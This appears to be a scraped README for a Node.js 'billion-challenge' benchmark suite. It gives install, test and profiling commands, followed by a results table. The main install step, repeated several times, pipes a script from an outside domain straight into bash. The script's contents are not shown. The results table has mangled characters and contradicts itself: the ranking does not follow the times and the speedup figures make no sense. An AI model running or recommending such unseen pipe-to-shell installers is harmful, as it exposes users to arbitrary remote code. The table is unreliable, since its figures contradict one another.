A high-performance Node.js benchmark suite that tests various approaches to process 1 billion numbers efficiently.
curl -sSL https://benchmark.isaksweb.xyz/install.sh | bash
curl -sSL https://benchmark.isaksweb.xyz/install.sh | bash
wget -qO- https://benchmark.isaksweb.xyz/install.sh | bash
After installation:
cd billion-challenge
pnpm test # Quick test (100M numbers, ~30s)
pnpm full # Full challenge (1B numbers, ~5min)
pnpm benchmark # Detailed profiling with memory tracking
If you prefer to inspect before running:
# Download the installer
curl -O https://benchmark.isaksweb.xyz/install.sh
chmod +x install.sh
# Review the script
cat install.sh
# Run manually
./install.sh
curl -sSL https://benchmark.isaksweb.xyz/install.sh | bash -s -- --dir=my-benchmark
# After installation
cd billion-challenge
pnpm dev # Run with TypeScript directly
pnpm build:dev # Development build with sourcemaps
pnpm benchmark # Full profiling with GC tracking
pnpm profile # V8 profiling (creates .prof files)
# Analyze V8 profile
node --prof-process isolate-*.log > profile.txt
π PERFORMANCE RANKING:
Rank | Method | Time | Ops/Second | Memory | Speedup
1 β πMathematical Formula β 0.01ms β 1.00e+13 β 0.0MB β 1.00x
2 β Assembly Style Loop β 2,134.56ms β 4.68e+08 β 15.2MB β 0.47x
3 β Parallel Workers β 1,847.32ms β 5.41e+08 β 45.3MB β 0.54x
Found a faster algorithm? Submit a PR!
src/billion-challenge.tspnpm benchmarkMIT License - Feel free to use in your projects!
Built with β€οΈ using TypeScript + esbuild for maximum performance